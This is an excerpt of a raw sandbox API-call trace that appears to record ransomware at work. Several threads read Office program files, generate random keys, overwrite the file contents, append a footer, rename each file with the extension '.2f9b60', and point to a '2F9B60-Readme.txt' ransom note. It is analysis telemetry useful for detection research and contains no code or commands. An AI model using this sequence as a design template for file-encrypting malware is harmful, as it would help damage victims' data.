RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3e30 [0161.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3e60 [0161.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3e60) returned 1 [0161.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0161.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0161.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x423aa0b0 [0161.360] SetFilePointerEx (in: hFile=0x1c14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.360] WriteFile (hFile=0x1c14, lpBuffer=0x423aa0b0, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2246f9d0, lpOverlapped=0x0) [0206.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0206.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0206.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20266de0 [0206.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0206.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0206.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267860) returned 1 [0206.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1b82c260 [0206.906] sprintf (in: _Dest=0x1b82c260, _Format="%c%c" | out: _Dest="f9") returned 2 [0206.906] sprintf (in: _Dest=0x1b82c262, _Format="%c%c" | out: _Dest="33") returned 2 [0206.906] sprintf (in: _Dest=0x1b82c264, _Format="%c%c" | out: _Dest="f3") returned 2 [0206.906] sprintf (in: _Dest=0x1b82c266, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c268, _Format="%c%c" | out: _Dest="52") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c26a, _Format="%c%c" | out: _Dest="25") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c26c, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c26e, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c270, _Format="%c%c" | out: _Dest="e4") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c272, _Format="%c%c" | out: _Dest="61") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c274, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c276, _Format="%c%c" | out: _Dest="44") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c278, _Format="%c%c" | out: _Dest="c9") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c27a, _Format="%c%c" | out: _Dest="b8") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c27c, _Format="%c%c" | out: _Dest="55") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c27e, _Format="%c%c" | out: _Dest="7f") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c280, _Format="%c%c" | out: _Dest="de") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c282, _Format="%c%c" | out: _Dest="41") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c284, _Format="%c%c" | out: _Dest="5a") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c286, _Format="%c%c" | out: _Dest="8c") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c288, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c28a, _Format="%c%c" | out: _Dest="c7") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c28c, _Format="%c%c" | out: _Dest="16") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c28e, _Format="%c%c" | out: _Dest="07") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c290, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c292, _Format="%c%c" | out: _Dest="61") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c294, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c296, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c298, _Format="%c%c" | out: _Dest="3a") returned 2 [0206.907] sprintf (in: _Dest=0x1b82c29a, _Format="%c%c" | out: _Dest="e6") returned 2 [0206.907] RtlInitAnsiString (in: DestinationString=0x2246fa48, SourceString="f933f3ea52254a6de4614a44c9b8557fde415a8c4ac71607ff61dcc13ae6" | out: DestinationString="f933f3ea52254a6de4614a44c9b8557fde415a8c4ac71607ff61dcc13ae6") [0206.907] RtlAnsiStringToUnicodeString (in: DestinationString=0x2246fa18, SourceString="f933f3ea52254a6de4614a44c9b8557fde415a8c4ac71607ff61dcc13ae6", AllocateDestinationString=1 | out: DestinationString="f933f3ea52254a6de4614a44c9b8557fde415a8c4ac71607ff61dcc13ae6") returned 0x0 [0206.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431559b0 [0206.908] wcscat (in: _Dest=0x43155920, _Source="f933f3ea52254a6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f933f3ea52254a6") returned="C:\\Program Files\\Microsoft Office\\Office14\\f933f3ea52254a6" [0206.908] wcscat (in: _Dest=0x43155920, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f933f3ea52254a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\f933f3ea52254a6.2f9b60" [0206.908] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\f933f3ea52254a6.2f9b60", NtPathName=0x2246f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\f933f3ea52254a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x4314ef60 Thread: id = 1719 os_tid = 0x17e8 [0130.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub")) returned 0x20 [0132.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub", dwFileAttributes=0x20) returned 1 [0133.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c10 [0134.426] GetFileSizeEx (in: hFile=0x1c10, lpFileSize=0x222bfa60 | out: lpFileSize=0x222bfa60*=2560) returned 1 [0134.427] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x9fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.427] ReadFile (in: hFile=0x1c10, lpBuffer=0x222bf9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x222bfa28, lpOverlapped=0x0 | out: lpBuffer=0x222bf9e0*, lpNumberOfBytesRead=0x222bfa28*=0x4, lpOverlapped=0x0) returned 1 [0134.452] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267680 [0134.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0134.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676e0 [0134.452] NtQuerySystemTime (in: CurrentTime=0x222bf920 | out: CurrentTime=0x222bf920*=132462177396898000) returned 0x0 [0134.452] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x54dcaa11 [0134.452] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x594536c8 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x40b895a3 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x6e0812f4 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x580fddd6 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x41a13894 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0xda6c080 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x386ecbc1 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x2df7cf8c [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x142eb407 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x61f4c1ca [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x26a76977 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x258d02bf [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x794599c5 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x59456b4b [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x4762e2b9 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x54fa4267 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x2dcf3aed [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x67474256 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x770b704a [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x7bdbcfc9 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x260bb317 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x290a9f50 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x6c39e4ce [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x1e5b62aa [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x27864387 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x2b6fb76f [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x1a5bea4c [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0xb0365e8 [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x5a48addc [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x502a97b [0134.453] RtlRandomEx (in: Seed=0x222bf910 | out: Seed=0x222bf910) returned 0x51968734 [0134.484] ReadFile (in: hFile=0x1c10, lpBuffer=0x41cb9560, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x222bf910, lpOverlapped=0x0 | out: lpBuffer=0x41cb9560*, lpNumberOfBytesRead=0x222bf910*=0xa00, lpOverlapped=0x0) returned 1 [0134.484] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.484] WriteFile (in: hFile=0x1c10, lpBuffer=0x41cbd170*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x222bf914, lpOverlapped=0x0 | out: lpBuffer=0x41cbd170*, lpNumberOfBytesWritten=0x222bf914*=0xa00, lpOverlapped=0x0) returned 1 [0134.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0134.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0134.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0134.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cbd170) returned 1 [0134.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb9560) returned 1 [0134.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0134.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f5b0 [0134.577] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.577] WriteFile (in: hFile=0x1c10, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x222bfa30, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x222bfa30*=0x110, lpOverlapped=0x0) returned 1 [0140.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0140.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0140.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0140.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0140.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x204fdcf0 [0140.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0140.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdde0 [0140.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdde0) returned 1 [0140.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0140.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x42059150 [0140.879] sprintf (in: _Dest=0x42059150, _Format="%c%c" | out: _Dest="06") returned 2 [0140.879] sprintf (in: _Dest=0x42059152, _Format="%c%c" | out: _Dest="cd") returned 2 [0140.879] sprintf (in: _Dest=0x42059154, _Format="%c%c" | out: _Dest="c5") returned 2 [0140.879] sprintf (in: _Dest=0x42059156, _Format="%c%c" | out: _Dest="dc") returned 2 [0140.879] sprintf (in: _Dest=0x42059158, _Format="%c%c" | out: _Dest="e5") returned 2 [0140.879] sprintf (in: _Dest=0x4205915a, _Format="%c%c" | out: _Dest="7b") returned 2 [0140.879] sprintf (in: _Dest=0x4205915c, _Format="%c%c" | out: _Dest="d7") returned 2 [0140.879] sprintf (in: _Dest=0x4205915e, _Format="%c%c" | out: _Dest="d3") returned 2 [0140.879] sprintf (in: _Dest=0x42059160, _Format="%c%c" | out: _Dest="5c") returned 2 [0140.879] sprintf (in: _Dest=0x42059162, _Format="%c%c" | out: _Dest="1d") returned 2 [0140.879] sprintf (in: _Dest=0x42059164, _Format="%c%c" | out: _Dest="72") returned 2 [0140.879] sprintf (in: _Dest=0x42059166, _Format="%c%c" | out: _Dest="40") returned 2 [0140.879] sprintf (in: _Dest=0x42059168, _Format="%c%c" | out: _Dest="4f") returned 2 [0140.879] sprintf (in: _Dest=0x4205916a, _Format="%c%c" | out: _Dest="9d") returned 2 [0140.879] sprintf (in: _Dest=0x4205916c, _Format="%c%c" | out: _Dest="1f") returned 2 [0140.879] sprintf (in: _Dest=0x4205916e, _Format="%c%c" | out: _Dest="60") returned 2 [0140.879] sprintf (in: _Dest=0x42059170, _Format="%c%c" | out: _Dest="b7") returned 2 [0140.879] sprintf (in: _Dest=0x42059172, _Format="%c%c" | out: _Dest="4b") returned 2 [0140.880] sprintf (in: _Dest=0x42059174, _Format="%c%c" | out: _Dest="6f") returned 2 [0140.880] sprintf (in: _Dest=0x42059176, _Format="%c%c" | out: _Dest="1e") returned 2 [0140.880] sprintf (in: _Dest=0x42059178, _Format="%c%c" | out: _Dest="b0") returned 2 [0140.880] sprintf (in: _Dest=0x4205917a, _Format="%c%c" | out: _Dest="e2") returned 2 [0140.880] sprintf (in: _Dest=0x4205917c, _Format="%c%c" | out: _Dest="90") returned 2 [0140.880] sprintf (in: _Dest=0x4205917e, _Format="%c%c" | out: _Dest="d8") returned 2 [0140.880] sprintf (in: _Dest=0x42059180, _Format="%c%c" | out: _Dest="cd") returned 2 [0140.880] sprintf (in: _Dest=0x42059182, _Format="%c%c" | out: _Dest="d7") returned 2 [0140.880] sprintf (in: _Dest=0x42059184, _Format="%c%c" | out: _Dest="43") returned 2 [0140.880] sprintf (in: _Dest=0x42059186, _Format="%c%c" | out: _Dest="d7") returned 2 [0140.880] sprintf (in: _Dest=0x42059188, _Format="%c%c" | out: _Dest="58") returned 2 [0140.880] sprintf (in: _Dest=0x4205918a, _Format="%c%c" | out: _Dest="4a") returned 2 [0140.880] RtlInitAnsiString (in: DestinationString=0x222bfaa8, SourceString="06cdc5dce57bd7d35c1d72404f9d1f60b74b6f1eb0e290d8cdd743d7584a" | out: DestinationString="06cdc5dce57bd7d35c1d72404f9d1f60b74b6f1eb0e290d8cdd743d7584a") [0140.880] RtlAnsiStringToUnicodeString (in: DestinationString=0x222bfa78, SourceString="06cdc5dce57bd7d35c1d72404f9d1f60b74b6f1eb0e290d8cdd743d7584a", AllocateDestinationString=1 | out: DestinationString="06cdc5dce57bd7d35c1d72404f9d1f60b74b6f1eb0e290d8cdd743d7584a") returned 0x0 [0140.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86b8b0 [0140.881] RtlFreeAnsiString (AnsiString="0") [0140.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0140.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0140.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0140.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0140.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0140.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0140.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267860) returned 1 [0140.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0140.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0140.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267740) returned 1 [0140.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b86a350 [0140.882] wcscat (in: _Dest=0x1b86a350, _Source="06cdc5dce57bd7d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\06cdc5dce57bd7d") returned="C:\\Program Files\\Microsoft Office\\Office14\\06cdc5dce57bd7d" [0140.882] wcscat (in: _Dest=0x1b86a350, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\06cdc5dce57bd7d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\06cdc5dce57bd7d.2f9b60" [0140.882] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\06cdc5dce57bd7d.2f9b60", NtPathName=0x222bfa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\06cdc5dce57bd7d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862d50 [0140.882] NtSetInformationFile (FileHandle=0x1c10, IoStatusBlock=0x222bfaf0, FileInformation=0x1b862d50, Length=0xa2, FileInformationClass=0xa) returned 0x0 [0148.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862d50) returned 1 [0148.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fb8c0) returned 1 [0148.258] NtQueryInformationFile (in: FileHandle=0x1c10, IoStatusBlock=0x222bfab8, FileInformation=0x222bfac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x222bfab8, FileInformation=0x222bfac8) returned 0x0 [0148.258] NtSetInformationFile (FileHandle=0x1c10, IoStatusBlock=0x222bfab8, FileInformation=0x222bfac8, Length=0x28, FileInformationClass=0x4) [0201.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a350) returned 1 [0201.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b8b0) returned 1 [0201.743] FlushFileBuffers (hFile=0x1c10) returned 1 [0201.755] CloseHandle (hObject=0x1c10) returned 1 [0205.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x43154960 [0205.859] wcscpy (in: _Dest=0x43154960, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0205.859] wcscat (in: _Dest=0x43154960, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0205.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0205.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43154960) returned 1 [0205.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866e40) returned 1 Thread: id = 1720 os_tid = 0x17ec [0131.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub")) returned 0x20 [0132.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub", dwFileAttributes=0x20) returned 1 [0133.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bf0 [0134.297] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2179f720 | out: lpFileSize=0x2179f720*=103424) returned 1 [0134.297] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x193fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.297] ReadFile (in: hFile=0x1bf0, lpBuffer=0x2179f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2179f6e8, lpOverlapped=0x0 | out: lpBuffer=0x2179f6a0*, lpNumberOfBytesRead=0x2179f6e8*=0x4, lpOverlapped=0x0) returned 1 [0134.309] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0134.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0134.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0134.309] NtQuerySystemTime (in: CurrentTime=0x2179f5e0 | out: CurrentTime=0x2179f5e0*=132462177395494000) returned 0x0 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x56eb0c50 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x424b6229 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x36bebb49 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x46114450 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x483a9560 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x1b19c189 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x24f414f8 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x57c91 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x4fcc1345 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x38f8ecf [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x38314508 [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0xa1f3b1f [0134.309] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x7c1770a7 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x465a13f4 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x67684087 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x5c4a260e [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x7196e84d [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x667547a [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x42fe068f [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x7cf1703a [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x33c2fddf [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x12c9321a [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x6f8c7e47 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x1b0ce687 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x25ff97d0 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x54716776 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x6884ebe7 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x12a35cb7 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0xcbc0f2f [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x46a36d13 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x3b119d86 [0134.310] RtlRandomEx (in: Seed=0x2179f5d0 | out: Seed=0x2179f5d0) returned 0x1dafe95c [0134.321] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 